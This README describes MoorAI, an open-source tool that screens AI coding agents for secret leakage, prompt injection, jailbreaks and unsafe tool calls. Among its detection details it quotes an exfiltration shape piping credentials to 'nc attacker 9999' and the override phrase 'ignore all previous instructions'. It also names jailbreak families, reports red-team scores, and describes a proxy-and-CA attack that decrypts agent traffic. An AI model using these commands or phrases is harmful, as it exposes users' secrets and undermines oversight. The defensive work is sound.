MoorAI reviews what your developers send to AI coding agents — and what those agents read, run, and reply — right on the device, before anything is exposed. Secrets, PII, and source code never leave the machine to be checked. Your security team sees content-free signals, never the prompts.
Let your engineers use AI freely. Keep your data in-house.
Your developers use Claude Code, Cursor, and Copilot. Those agents don't just read what's typed — they read files into context (a stray .env), call MCP tools with whatever arguments they were given, and reply with whatever the model generates. Prompt review alone misses most of it, and every cloud DLP tool solves it by sending your prompts to their servers to inspect.
That's the exact trade MoorAI refuses.
- Context interception — blocks a secret or PII being read into the agent's context (e.g. an agent slurping a
.env), not just typed in a prompt. Via the agent's PreToolUse hooks, on-device. - Agency Enforcement — bounds what an agent is allowed to do: inspects
mcp__*tool-call arguments for secrets/policy violations and blocks them, and enforces an approved-MCP-server allow-list at call time — with a discovered → approved/denied approval-gating lifecycle in the console. The direct control for OWASP LLM06: Excessive Agency. - AI output review — reviews what the agent says back, not just what's typed. On-device output screening flags secrets, PII, and insecure code the agent generates (SQL injection, XSS, command injection,
eval/dynamic exec, weak crypto, unsafe deserialization) and masks secret spans on the-ppath — emitting only a content-free verdict, never the reply. An intra-file taint-lite check (dependency-free source→sink proximity) raises a high-confidence confirmed tainted-flow signal when untrusted input actually reaches one of those sinks, so the console can prioritize real flows over hardcoded-literal matches. - Battle-tested secrets engine — ~14 provider families (GitHub, AWS, Stripe, Slack, GCP, OpenAI/Anthropic, DB connection strings, …) plus Shannon-entropy scoring with an allowlist (UUIDs, git SHAs, base64) so it doesn't false-positive on the things that aren't secrets.
- Model-endpoint allow-listing — bounds which LLM endpoints an agent may talk to. A base-URL override (
ANTHROPIC_BASE_URL=…) or a direct call to a non-approved provider is flagged/blocked at the endpoint — the exfil-via-rogue-endpoint defense, host-level and content-free (loopback / local models always allowed). - Transit-override detection (#67) — the allow-list above asks where the agent is sending; this asks what the traffic passes through on the way. Setting
HTTPS_PROXYplus a CA override (NODE_EXTRA_CA_CERTS,SSL_CERT_FILE,REQUESTS_CA_BUNDLE, …) on an agent leaves the destination untouched — so the endpoint allow-list still passes it — while every request transits an interceptor that reads the prompt, the generated code and the API key in cleartext. Measured, not theorised: with those two variables set, a real Claude Code session decrypted at the proxy with the client reporting the TLS as authorized, because the injected CA makes the forged chain legitimately trusted. It needs no privileges. MoorAI reports any proxy or CA override and denies an unsanctioned proxy whenpolicy.transitAllowis set — proxy host and variable name only, never the CA path or its contents. Report-first by default, because a corporate egress proxy is legitimate; loopback is deliberately not auto-approved, since a loopback proxy is what an on-device interceptor looks like. - Slopsquatting firewall — an offline typosquat / hallucinated-package classifier (Damerau-Levenshtein against a curated popular-package list + a known-bad set) gates
npm/pip/cargo installof near-miss names (reqeusts,lodahs) and documented hallucinations — the #1 AI-supply-chain threat, checked entirely on-device (name only). - MCP hardening — an approval-gating lifecycle for MCP servers, rug-pull detection (a server whose config changes after approval is knocked back to pending), and an invisible-payload scanner (Unicode tag-block / ANSI escapes / bidi-override / variation-selector smuggling) that catches instructions hidden from human review.
- Skill Analysis — an inventory + intent view of the whole skill surface an agent auto-loads, not just its rules file:
SKILL.mdand.claude/skills/**, subagent definitions (.claude/agents/*.md), slash commands (.claude/commands/**), MCP server configs (.mcp.json,~/.claude.json,managed-mcp.json,claude_desktop_config.json), the settings files that can carry hooks (.claude/settings.json,settings.local.json,managed-settings.json), plugin manifests and their hook/monitor declarations, path-scoped rules and memory files, plus the other vendors' equivalents (.cursorrules,.windsurfrules,.clinerules, copilot-instructions). Every file gets its kind, a set of intent category labels — hidden-instructions, instruction-override, external-network-egress, security-control-or-privilege-change, references-credentials, invisible-characters, … — and a drift fingerprint per file. The labels are renames of findings the existing detection engine already produced; no text, matched span, or excerpt is ever attached, so a poisoned skill can be triaged without reading it off the device. - Per-agent destination map — the observed counterpart to your allow-lists: for each agent/tool, which external destinations it actually reached. Hosts (never a URL path or query string — they are not captured in the first place) and MCP server names, with call counts, first/last-seen, and the allow/ask/deny verdict each call actually got. Kept in an on-device ledger; the console gets one content-free alert the first time an agent touches a new destination, over the existing alert path. View it with
moorai-destinations. - Agent entitlement envelope — declare each agent's authorized tools / path-prefixes / MCP servers; an action outside the envelope is flagged as entitlement drift and alerted or blocked — least-privilege for coding agents, content-free.
- Local secret-egress detection — fingerprints your local secret values (
.env, cloud creds) on-device as keyed one-way hashes and blocks an outbound command or tool-call that carries one verbatim — catching a real secret leaving even when it isn't in a recognizable token shape. Only the hash + a verdict leave. - Insecure-defaults screening — flags misconfigurations agents habitually emit (SSRF, path traversal, XXE, JWT
alg=none, TLS-verify-off, wildcard CORS,debug=True, insecure randomness for tokens, hardcoded creds, world-writable perms, open redirect) — on top of the SQLi/XSS/RCE/deserialization coverage. - Sub-agent / A2A oversight — records agent-to-agent delegation (sub-agent spawns), scans the delegated prompt for injection, and applies the parent's entitlement envelope to the child so a delegated action can't slip past the parent's controls.
- Jailbreak & injection detection — high-precision detectors for direct jailbreaks (DAN lineage, developer/god-mode, named personas, chat-template control-token injection) scoped so normal dev prompts don't trip them, with opportunistic local-model escalation on ambiguity.
- Coach · alert · block · justify · kill — per policy, per tenant, per device. Nudge, warn, hard-block, require a signed justification, or kill the session — terminate the running agent (not just deny the one call) on a critical finding, in both the
-pguard and the interactive host. - Coach-as-literacy (EU AI Act Art. 4) — each time MoorAI coaches a developer at the point of use (the why + what-to-do, mapped to OWASP LLM Top 10 / MITRE ATLAS), it records a content-free "literacy touchpoint" (topic + actor hash, never content). The console rolls these into a coverage view — demonstrable evidence of "measures taken" for a training program, not a substitute for one.
- Context-aware severity — the same pattern is scored higher by where it was caught: a secret read into an agent's context or shipped as an MCP argument outranks one typed into a still-editable prompt.
- On-device exposure ledger — a content-free local log of which credential/secret classes reached which agent, so an incident-response rotation is targeted, not a blanket burn. Plus a human-override intent log — the signal that separates legitimate agentic use from an attack. View both with
moorai-ledger; nothing leaves the machine. - On-device, content-free — everything is checked locally. The console receives a category, a risk level, and a keyed one-way hash (HMAC-SHA-256 under your tenant's enrollment token) — never the prompt, the file, or the matched span. The key matters: an unkeyed digest of a phone number or an SSN is enumerable, so it is not one-way in practice. A device with no enrollment token emits an explicit non-correlatable marker instead of a weaker hash.
- Opportunistic on-device model escalation — when a regex scan is ambiguous and your policy enables it, a local model (Ollama on the loopback interface) gives a second opinion. The text goes only to
127.0.0.1, never off the machine; a failure never changes the decision. Off by default. - You control the evidence — nothing trains anyone's model, and on-device signal logs are pruned on your schedule (
MOORAI_RETENTION_DAYS, default 90;0= keep forever). Content-free by construction, not by promise.
Because you can read the code. The agent is MIT and open source — the whole detection and reporting path is right here. Cloud DLP tools ask you to take "we don't store your prompts" on faith. MoorAI's telemetry is content-free by construction, and the construction is auditable.
Governance without surveillance.
macOS (Apple silicon) — download the .dmg from moorai.glick.run/download/app (it is not attached to GitHub Releases), or brew install --cask gitayg/tap/moorai — see packaging/README.md. The app updates itself in place.
Windows — download the signed -setup.exe from Releases (built in the open by CI).
Community edition: runs standalone, local policy control, no account required.
Two ways, both in the app's settings panel (the gear in the status bar):
- Create an account from inside the app — enter an organisation/admin name and an email, press Create account, then click the verification link in the email that arrives. The app waits on that click and enrolls itself the moment it lands; there is no token to copy. The app polls by a single-use, 30-minute claim token only — your email address is never sent back to the server, so the wait cannot be used to ask whether some address has an account.
- Paste an installation token — for devices provisioned by an admin. Get one from the MoorAI
portal → Installs → Create installation, or provision from a terminal with the
curlline the panel shows. MDM-provisioned installs (Jamf/Intune writing~/.moorai/config.json) use this path and never see the signup form.
curl -fsSL https://raw.githubusercontent.com/gitayg/moorai/main/scripts/install.sh | shClones to ~/.moorai, installs dependencies, and registers the on-device PreToolUse hooks. Needs git and Node 18+; content-free, no account. Set MOORAI_NOHOOK=1 to skip hook registration, or MOORAI_HOME to change the location.
npm run guard -- "here is my key sk-ant-api03-... please debug the charge"
# ✗ blocked by policy — nothing sent to claude -p (#39 secret)node cli/moorai-hook.mjs install # registers PreToolUse + PostToolUse hooks in ~/.claude/settings.json
node cli/moorai-hook.mjs uninstall # removes only MoorAI's entriesNow a Read of a .env, a secret in an MCP tool-call argument, or a call to an
unapproved MCP server is blocked before it reaches the agent — content-free,
fails open (governance, not a sandbox).
Which tools the hook actually sees. PRETOOL_MATCHERS in
cli/moorai-hook.mjs is the single source of truth, and it registers
Read · Bash · mcp__.* · Task · Write · Edit · MultiEdit · NotebookEdit · WebFetch.
The write family scans at the output stage, deliberately not file: the file stage pulls in the
61-detector injection family, and an agent writing a doc that quotes "ignore all previous instructions"
is a doc, not an attack. Existing installs converge on the current matcher list on ordinary invocations —
only when MoorAI entries are already present, so nothing an operator uninstalled is ever re-added.
The Cursor CLI runs these same hooks but renames the tools: its shell tool arrives as Shell, which the
hook treats exactly as Bash (Cursor already rewrites the registered Bash matcher to Shell, so no
extra matcher is registered). A Read is also checked against #55 by path, so reading a .env —
relative, absolute or ~/…, including .env.local / .env.production — gets the same ask as
cat .env; .env.example / .env.sample / .env.template are not flagged.
Other agents. node cli/moorai-agent-hook.mjs <codex|copilot|gemini|cursor> install registers a
pre-tool hook in that agent's own config (~/.codex/hooks.json, ~/.copilot/hooks/moorai.json,
~/.gemini/settings.json, ~/.cursor/hooks.json); uninstall removes only MoorAI's entries. Each
adapter in cli/agent-hooks/ translates the agent's hook payload into the Claude
Code shape, runs the same hook (same engine, policy and telemetry), and translates the verdict back.
Each was built from that vendor's documentation and published source, and is tested against fixture
payloads in the documented shape; none has yet been run end to end against the live agent. Per agent:
| Agent | Blocks before the tool runs | "Ask" | Known gaps |
|---|---|---|---|
| Codex CLI | yes, after the user trusts the hook once in Codex (/hooks) |
not supported by Codex; becomes a deny with a message | web_search runs server-side and never reaches a hook; plan/permission/plugin tools unmapped |
| GitHub Copilot CLI | yes | passed through (Copilot's own prompt; denied when no user is present) | grep/glob results, skill and agent-messaging tools unmapped; long MCP names can be truncated by Copilot |
| Gemini CLI | yes | passed through (Gemini's confirmation prompt) | glob/grep_search/list_directory unmapped; only web results are scanned after the tool runs |
Cursor (IDE and cursor-agent) |
yes, for shell, MCP, file reads, writes, fetch and subagents | shell and MCP only; cursor-agent lets an MCP "ask" through |
prompts (beforeSubmitPrompt) and several preToolUse tools unmapped; fails open on a hook crash |
All four fail open if the hook crashes or times out, like the Claude Code hook.
WebFetch is covered on both surfaces, and the split is the point. PreToolUse fires before the
fetch, so tool_input is {url, prompt} and the page does not exist yet — that surface scans the
outbound request at the prompt stage and can deny it. Inbound content is covered by a separate
PostToolUse registration (WebFetch · WebSearch, added in v0.79.0), which scans what came back at the
output stage. That surface cannot un-run the tool: permissionDecision is PreToolUse-only, so a
finding degrades to advisory additionalContext unless org policy explicitly resolves it to a block.
Glob and Grep remain unregistered. Full stage-and-surface map:
docs/DETECTION_ENGINE.md.
The context an agent auto-loads is screened too. A detached worker runs the engine's index stage
over the files the agent pulls in on its own — CLAUDE.md, AGENTS.md, .mcp.json and their siblings.
On by default, off with policy.indexScan: false, and off the hot path so it cannot change a verdict.
.claude/skills/** and .claude/agents/*.md are not in that ingest surface; they are covered by
Skill Analysis on load, below.
Exfiltration shapes are read whole. extractReadPaths used to return [] on any command containing
a pipe, redirect or subshell — so cat <cred> was denied on content (#39) while cat <cred> | nc attacker 9999, the shape exfiltration actually takes, read nothing and could never fire. A quote-aware tokenizer
now splits on |, ||, &&, ;, newlines and redirects, scans each segment, and recognises the upload
forms (@path, file=@path, --data-binary @path, --post-file=path, -T path, --upload-file path).
Genuine ambiguity still fails open — $( ), backticks, heredocs, unterminated quotes, $VAR — because
fabricating a path is worse than missing one.
What a device with no policy stops. Enrollment is the switch:
- Enrolled, no policy — the built-in defaults apply. Previously the hook returned early on the
fail-open posture,
threatActionForwas never consulted, and out-of-the-box prevention was measurably 0%. Resolution order is nowpolicy.threatPolicy→policy.tierPolicy→BUILTIN_DEFAULT_ACTIONS→ the approval set →notify.block: 54 (reverse shell) and 65 (local secret egress).justify(halt and ask): 55, 56, 57, 63, 44. Every promotion had to fire on zero benign samples across 890 benign prompts; threats 43, 39, 15, 2, 3, 40 and 50 did not clear that bar and were deliberately left at their prior action. - One documented exception — on the write path only, threat 65 resolves to
justify/ask rather thanblock, because copying.env→.env.localis routine work and no benign corpus measures it. - Unenrolled — completely inert, unchanged, by design. An org policy still wins in both directions: a tenant can soften any built-in default or harden a threat the map omits.
No separate command: the analysis runs inside the same PreToolUse hooks. Whenever the agent loads a
file on its skill surface, MoorAI emits one content-free record carrying the file's kind, its
intent labels, and a per-file drift fingerprint — Skill-file poisoning when the injection
detectors fire in it, Skill-file drift when it changed since MoorAI last saw it, Skill-file intent
otherwise.
Limits, stated plainly.
- Intent coverage is exactly detector coverage. Every label is a rename of an existing threat id,
content tell, or host extraction — there is deliberately no second detection engine here, because a
forked engine would sit outside
threatActionForand your detector packs. An instruction the engine has no detector for produces no label: "no labels" means "nothing the engine recognizes", not "benign". - Files are seen when the agent loads them, via the Read/Bash hooks. MoorAI does not walk the filesystem inventorying skill files that no agent has touched, so a freshly poisoned file is flagged on first load, not before it.
- The drift fingerprint is an unkeyed DJB2 of the whole file, not the keyed HMAC used for matched spans. That is deliberate: the keyed hash exists because an SSN or a card has a small enough candidate space to enumerate, which a whole agent config file does not — and an unkeyed fingerprint is what lets the console see that two devices hold the same poisoned file.
- Path classification is by filename, not by content, so a file that an agent loads through a
non-standard path (
skillDirectories, a symlink farm, a plugin root outside the known layout) is scanned by the detectors like any other file but is not labelled as skill surface.
npx moorai-ledger # which credential classes reached which agent (for targeted rotation)
npx moorai-ledger --intent # human overrides — who chose to proceed past a finding
npx moorai-ledger --format md # Markdown reportContent-free by construction: category, risk, stage, device, and a keyed one-way hash — never a secret value.
npx moorai-destinations # per-agent map of hosts + MCP servers reached
npx moorai-destinations --format md # Markdown reportPer agent/tool: every external destination observed, with call counts, first/last-seen and the
allow/ask/deny verdict each call got. A destination is a host or an MCP server name — never a
URL path, query string, request body, tool argument or response, because the extractor never captures
them. Compare against your MCP allow-list and model-endpoint allow-list to find reach the policy did
not intend. Reads only ~/.moorai/destinations.jsonl; nothing leaves.
Limits, stated plainly. The map sees what the hook sees, which is Bash commands and MCP tool
calls — not raw sockets opened by a compiled binary or by an MCP server's own child process. Hosts are
extracted from http(s):// URLs, so curl example.com (no scheme), an SSH remote, or a bare IP
literal is not recorded; a dotless internal hostname is captured only when it appears as a
base-URL env-var override (OLLAMA_HOST=http://gpu-box:11434), not from a plain URL. It is an
inventory of observed reach, not a network tap.
npx moorai-redteam # run the adversarial corpus against YOUR active policy
npx moorai-redteam --format jsonRuns a built-in adversarial corpus (prompt injection, jailbreaks, secrets/PII, license, destructive commands) locally and reports, per attack class, whether your live policy actually acts on it — not just whether the engine can detect it. Verify, don't trust. Content-free; exits non-zero on any gap.
npx moorai-agentwatch # score recent on-device agent activity vs the autonomous signature
npx moorai-agentwatch --emit # also send a content-free alert to your server → SIEM/SOCScores recent agent activity against the 8 behavioral tells the CSA/SANS Hugging Face Incident Post-Mortem (§IV) used to conclude that attack was fully autonomous — repeating already-succeeded actions, machine-speed bursts, benchmark/decoy strings, LLM-generated obfuscation, leftover opsec artifacts, and more. Runs on the device; the hook also emits an alert automatically when the signature trips. Content-free: timestamps, action fingerprints, allow/deny, risk, and tell flags — never content.
npx moorai-trace # replay the agent's action chain, in order — for incident investigation
npx moorai-shadow --strict # find unsanctioned AI (models · MCP servers · editor extensions) vs your allow-list
npx moorai-compliance --framework eu-ai-act # evidence pack mapped to EU AI Act / NIST AI RMF / ISO 42001 controls
npx moorai-compliance --format stix # export the same findings as a STIX 2.1 bundle for SIEM/TIP interchange
npx moorai-verify-chain # tamper-evidence check — detect a deleted, reordered, or edited evidence-log record
npx moorai-honeytokens register # register a content-free canary (only its one-way hash is stored)
npx moorai-attest # export governed records as an in-toto / SLSA provenance attestation (SSCS interchange)
npx moorai-aibom --format cyclonedx # export the AI Bill of Materials as a CycloneDX 1.6 SBOM (also --format spdx)
npx moorai-scan ./some-skill # PRE-INSTALL gate — a content-free verdict on a skill/agent artifact before you install it
npx moorai-scan ./.mcp.json --packages # …and download + statically analyse the npm/PyPI package each MCP server launches
npx moorai-scan --package npm:@scope/server # one package (also pypi:<name>, github:<owner>/<repo>[/<skill-path>])
npx moorai-scan --package github:owner/repo # a whole source repository — an MCP server with no npm/PyPI package-
moorai-tracereconstructs the on-device action chain —time · actor · tool · decision · risk · destination · args-hash— from the content-free logs, so you can answer "what did this agent do?" after an incident without ever surfacing a prompt or file. -
moorai-shadowlayers a sanctioned/unsanctioned check on top of the AIBOM inventory (allow-list in~/.moorai/config.jsonsanctioned, orMOORAI_SANCTIONED);--strictexits non-zero for CI/posture gates. -
moorai-compliancemaps the device's existing content-free signals to framework controls and marks each covered / partial / not-covered honestly — the evidence layer a cost-pressured SOC can actually keep.--format stixemits the findings as a STIX 2.1 bundle (customx-moorai-findingobjects + hash-keyed indicators) for threat-intel interchange. -
moorai-verify-chainwalks each on-device evidence log and verifies its prev-hash chain — a deleted, reordered, or in-place-edited record breaks the chain and is reported. Every log line and every emitted OTel span is chain-stamped (cli/record-chain.mjs), so the record hash proves each record and the chain proves the sequence (immutable once streamed to your SIEM). -
moorai-honeytokensregisters content-free canaries — a decoy value nobody should ever touch; only its one-way hash is stored, and a later hit is a high-signal alert with zero content at rest. -
moorai-attestemits the governed record chain as an in-toto attestation / SLSA provenance predicate, built only from the content-free fields (tool · category · risk · decision · stage · tenant + the one-way hashes + chain seq/prev/chash) — so an agent's action evidence plugs into the software-supply-chain attestation ecosystem without carrying any content. The AIBOM also exports as a standard CycloneDX 1.6 or SPDX 2.3 SBOM (moorai-aibom --format cyclonedx|spdx). -
moorai-receiptemits a signed, content-free per-verdict decision receipt — a strict-allowlist payload (tool · category · risk · decision · stage · tenant + the one-way hashes + chain seq/prev/chash), a SHA-256 digest bound only to those fields, and an ed25519 signature from the same per-device agency key as the MCP-approval tokens.moorai-verify-chain --offline <file>verifies a receipt (or an in-toto attestation) with no network — recomputing the digest to reject tampered payloads and checking the signature against a pinned key. Generation is fail-open (a null signer yields a valid unsigned receipt); verification is fail-closed. -
moorai-scanis a pre-install skill gate — MoorAI's on-device, content-free answer to a cloud "skill scanner". Point it at a skill/agent artifact on disk (a directory, aSKILL.md, a.mcp.json, a.claude/agents/*.md, …) before you install it and it walks the path, classifies each file's skill-surface kind (data/skill-surface.js), and runs MoorAI's own shipped detection engine over each text file at stagefile(andtoolfor JSON MCP configs). The verdict is derived from the engine's own allow/ask/deny decisions — never an invented 0-100 score: anydeny→DO-NOT-INSTALL, anyask→REVIEW, low findings only →CAUTION, nothing →CLEAN(the worst across all files). No external scanner is bundled or invoked, and no enrollment is required (it runs before you install, possibly before you enroll). Output is JSON (or--format md) and is content-free — per finding only{relativePath, surfaceKind, threatId, category, intentLabels, contentHash, tier}, never the matched text or file contents — so it never becomes the exfiltration channel a cloud scanner is. Exit codes slot into CI:0for CLEAN/CAUTION, non-zero for REVIEW/DO-NOT-INSTALL, tunable with--fail-on <tier>.Package code (
--packages,--package). With--packages, each MCP server whose config launches a package (npx,pnpm dlx,bunx,yarn dlx,uvx,uv tool run,pipx run) is downloaded from the public registry, its digest checked (npmsha512integrity, PyPIsha256; a mismatch fails closed), extracted into a temporary directory with traversal, link and size guards, and analysed statically — nothing in it is executed. Only the package name and version leave the device, and only with the flag (orMOORAI_SCAN_PACKAGES=1); without it the packages are listed as not analysed. Package code gets its own checks — install scripts that download or run remote code, runtime self-install, environment or credential harvesting next to a network send, obfuscatedeval, socket reverse shells, typosquatted names, known-malicious packages — and the prompt-oriented detectors are scoped by file type: in code and docs they report at mostCAUTION, because an MCP server spawning processes or calling APIs is expected.DO-NOT-INSTALLneeds concrete evidence of malicious or unsafe-by-construction behaviour. Docker images and remote-only servers are reported as not analysed.Streamed, so a big package fits in a small container. The artifact is streamed to a temp file and hashed while it streams — the registry digest is still verified end to end, but nothing larger than one archive entry is ever resident. Tarballs are gunzipped through a streaming parser; a zip/wheel is read by offset from the temp file rather than loaded whole. Measured on
npm:n8n-mcp(a 33 MB tarball, 957 files): peak RSS 358 MB → 188 MB, same wall time (~3.9 s). Every temp file is removed in afinally, including on an integrity failure or an aborted body. Caps are 128 MB compressed / 512 MB extracted / 10000 entries, each overridable (MOORAI_SCAN_MAX_ARTIFACT_MB,MOORAI_SCAN_MAX_REPO_MB,MOORAI_SCAN_MAX_EXTRACT_MB,MOORAI_SCAN_MAX_FILE_MB,MOORAI_SCAN_MAX_ENTRIES). An archive over a cap reportsarchive-limits-exceededandREVIEW— an unfinished scan is never reported as a clean one.GitHub source repositories (
--package github:<owner>/<repo>[/<path>][@ref]). Many MCP servers are published only as a source repository, with no npm or PyPI package. With a<path>this fetches a single skill folder; with no path it extracts and scans the whole repository, reportingecosystem: "github", the resolved commit from the archive's pax header, andintegrity: none(a git archive carries no registry digest). Onlyowner/repo/refleaves the device, tocodeload.github.com. What is not the product is dropped during extraction and never costs a byte of the budget —.git/,node_modules/,vendor/,.venv/,__pycache__/— whiledist/,build/andtarget/are kept, because checked-in build output ships exactly as a package'sdist/does. And because a repository carries its tests, examples, docs and its own CI and dev-environment tooling, block-tier evidence in those paths is reported atREVIEWwith its path and atest-code/repo-toolinglabel, not as aDO-NOT-INSTALLverdict — a published DO-NOT-INSTALL is a public accusation about the product. That rule came from measurement, not taste:metabasewas a false alarm (a CI test drives git throughpty.spawn, no socket anywhere) andposthoga truecurl … | shin an optional developer bootstrap. The same evidence in shipped server code keeps its block tier, pinned by a true-positive twin test. -
Per-agent behavioral baseline detectors. On top of the fixed agent signatures, three content-free detectors flag deviation from an actor's own established behavior: a velocity burst (cadence far above the actor's robust median/IQR), a confused-deputy pivot (an injection tell followed by a sensitive action in the same actor's window), and a fan-out anomaly (a spawning actor delegating to abnormally many subagents). Features are all hashes/metadata; thresholds are chosen for explainability and not yet tuned against a production distribution.
-
Obfuscation-resistant detection. A bounded, DoS/ReDoS-capped decode/normalize pre-pass re-runs the detectors over decoded and reversed variants, so encoded/obfuscated payloads (base64/hex/rot13/caesar ciphers, reversed text, composed transforms) that defeat plain-text scanning are still caught. All ten HackAgent families — CipherChat, FlipAttack, h4rm3l, DAN, AutoDAN, BoN, AdvPrefix, and the persuasion/multi-turn families PAP, PAIR, TAP — are caught by content-free detectors, the last three via a weighted persuasion-tell + crescendo-trajectory analyzer (
data/crescendo.js). Measured honestly, and the honest answer depends heavily on how hard the test set is — we publish both:-
Mild paraphrases (
npm run redteam-eval, 29 held-out samples, 178-prompt benign corpus): 100% held-out (29/29) at 94% precision (4 FP/178). Read that as a regression gate, not a generalization claim — a v0.71.0 tuning wave targeted these 29 samples, which burns them as a held-out set. The locked half below is the honest out-of-sample number. -
Adversarial mutations (
node scripts/score-heldout-v2.mjs, 105 fresh attacks built by a mutation generator across 29 transformation axes — synonym/voice swaps, directive-in-code-comment/JSON/blockquote indirection, homoglyphs, letter-spacing, caesar/rot13, persona and persuasion recombinations). This set is split into a tune half and a locked test half (scripts/split-heldout-v2.mjs, stratified by family+axis); detector work may only see the tune half, so the locked half stays a valid measure:before fixes after fixes Locked test half, deterministic (never seen during tuning) 31.8% (14/44) 86.4% (38/44) at 100% precision (0 FP/10) Locked test half, full stack (+ on-device model) — 100% (44/44) at 100% precision Tune half 34.4% (21/61) 100% (61/61) Precision is measured against a 610-prompt benign corpus (
test/redteam/benign-corpus-v2.json, 269 adversarially-shaped hard negatives): 3.32% false-positive rate (20/602). That rate went up, and the reason is the point: 101 deliberately-obfuscated benign samples were added, and before they existed the FP gate could not tell a safe detector apart from one scoring 48 false positives. A harder corpus with a worse number is a better measurement than an easy corpus with a good one.
The original 33% was the real finding: the detectors had been overfit to the phrasings they were tuned on. Fixing four named root causes — a too-narrow policy-negation vocabulary, a rules-slot that broke on one adjective (
override your safety rules), no confusable/homoglyph folding, and synonym-blind fuzzy matching — lifted the locked half from 31.8% to 70.5% with precision unchanged. The 8-point tune/test gap is the honest overfit margin. Still weakest: persuasion, thought-experiment and leetspeak axes (PAP/TAP remain near zero — they live in the semantic layer, not these detectors). None of this changes the fact that the action layer — which blocks the tool call regardless of whether the prompt was ever classified — is the durable control, not prompt detection. An optional on-device semantic escalation layer (--semantic, a local model, zero egress) recovers most of the residue (~97% held-out in a sampled run) but is opt-in and environment-dependent, so it is not the headline number.npm run validate-blockingshows every malicious tool call still denied at the hook even after a jailbreak. -
Point MoorAI at any OTLP collector and every governed decision is exported as an OpenTelemetry span
(GenAI semantic conventions) that Datadog, Dynatrace, Grafana, Elastic, or your SIEM ingest natively —
but carrying no prompt, response, argument, or file-path content. Only governance metadata and the
tenant-keyed argument hash leave: gen_ai.tool.name, moorai.category, moorai.risk,
moorai.decision, moorai.args_hash. A blocked call is an ERROR span, so denials light up in your
existing dashboards. It is the standard telemetry envelope with none of the content — observability you
can pipe into your SIEM without a data-residency problem, and without vendor lock-in.
export MOORAI_OTLP_ENDPOINT="https://otel-collector.example:4318" # OTLP/HTTP (JSON) base URL
export MOORAI_OTLP_HEADERS="x-api-key=…" # optional ingest headersOff unless an endpoint is set; emission is bounded and best-effort and never affects an enforcement
decision. (Or set otlpEndpoint / otlpHeaders in the device config.)
| Agents | Claude Code (full hook enforcement) · Codex CLI, GitHub Copilot CLI, Gemini CLI and Cursor: pre-tool hook enforcement through cli/moorai-agent-hook.mjs (see Other agents below) · Claude Desktop · VS Code / Copilot · any project .mcp.json consumer (MCP stdio proxy — enforcement, host-independently, but only over MCP; see the bound below) |
| Surfaces | prompts · AI outputs · files read into context · files the agent writes or edits · MCP tool calls · MCP tool listings and tool results · outbound WebFetch requests · pasted images (on-device OCR) · the agent's auto-loaded context files (CLAUDE.md, AGENTS.md, .mcp.json, …) · the agent's auto-loaded skill surface (skills, subagents, commands, MCP configs, hook-bearing settings) |
| Platforms | macOS · Windows · Linux (on-device OCR is a second-class tier — see below) |
| Detects | secrets · PII / PHI · source-code leakage · prompt injection · destructive commands · second-order/hidden-instruction injection · skill-surface poisoning & drift |
The bound on host-independent enforcement, stated plainly. The MCP proxy enforces on any host that launches a stdio MCP server, in both directions — but MCP is one wire. Measured against a 12-action malicious set, the proxy refused 12/12 while enforcing (8 by the argument scan, 2 by the result scan) and forwarded 4/4 benign actions — yet only 4 of those 12 actions natively traverse MCP at all. The other eight reach the machine through a host's own built-in tools, where the Claude Code PreToolUse hook is the control and the proxy sees nothing. So "host-independent" is true of the mechanism and narrow in reach; full coverage is still a Claude Code property.
A pasted screenshot is text as far as policy is concerned, so MoorAI recovers the text and runs it through the same detectors as any pasted file. That extraction uses the operating system's own text-recognition engine: no model is bundled into the installer, and the image never reaches the MoorAI console. Honest platform matrix:
| Platform | Engine | Does the image leave the device? |
|---|---|---|
| macOS | Vision.framework (VNRecognizeTextRequest) — ships with the OS |
No. Fully on-device. |
| Windows | Windows.Media.Ocr.OcrEngine — ships with the OS, needs an OCR language pack for a profile language |
No. Fully on-device. |
| Linux | Tesseract via the leptess binding (system libtesseract, pulled in as a .deb/.rpm dependency) — opportunistic, second-class vs the OS engines |
No. Fully on-device. |
| Windows with no OCR language pack, or the app opened in a plain browser | none | See below. |
Where the OS provides no engine, MoorAI does not fall back to its own servers. If — and only if
— the device already holds an AI provider key (ANTHROPIC_API_KEY, the admin key file at
~/.moorai/provider-key, or the agent token saved in MoorAI; the same resolution as
data/device-inference.mjs), the app offers a fallback that sends the
image device → provider directly, to the provider the developer's own agent already talks to.
That path is disclosed in the UI before it runs and emits a content-free alert so it is visible in
the console. With no engine and no key, image inspection is skipped and says so — it never
degrades into silent egress.
The Windows engine is runtime-verified on a real Windows 11 host —
Windows.Media.Ocrread back 8/8 sensitive strings (incl. an AWS key and an SSN) off a clean render. The Linux/Tesseract tier is validated end-to-end but second-class: accuracy on dense secret strings is below the macOS/Windows OS engines, so treat it as opportunistic, not parity.
The scan engine is importable as a stable API from the moorai/scan entry point, so
another app can depend on this repo directly without reaching into internal paths.
Add it as a pinned git dependency:
npm install github:gitayg/moorai#v0.82.0Then scan a path on-device (findings are content-free — hashes, never the matched text):
import { scanPath } from "moorai/scan";
const result = scanPath("./some-skill");
console.log(result.verdict); // CLEAN | CAUTION | REVIEW | DO-NOT-INSTALLThe barrel (scan.mjs) re-exports only the public scan surface — scanPath,
scanFileText, buildEngine, decideText, skillIntents, contentHash,
skillSurfaceKind, isSkillSurface, and the VERDICTS / VERDICT_RANK /
decisionToVerdict / worseVerdict / tierOf / jsonStrings / NO_KEY helpers —
so internal files can move without breaking consumers.
A small Rust (Tauri) host wraps the agent's terminal; a local webview runs the detection engine. Prompts, file reads, tool calls, and outputs are checked against a 67-threat matrix (17 categories) + content rules + org-defined detector packs — entirely on the device. A separate, proprietary management console adds a multi-tenant dashboard, SSO, fleet policy, and content-free compliance exports (AIBOM, EU AI Act records, board AI-readiness report, SIEM streaming). Open-core: this agent is MIT; the console is commercial.
- Website & comparisons — moorai.dev
- How it stacks up — vs Lakera · Prompt Security · BigID · Harmonic · Zenity · Netskope
The MoorAI community agent is licensed under the MIT License. The management server is a separate product, source-available under the Elastic License 2.0.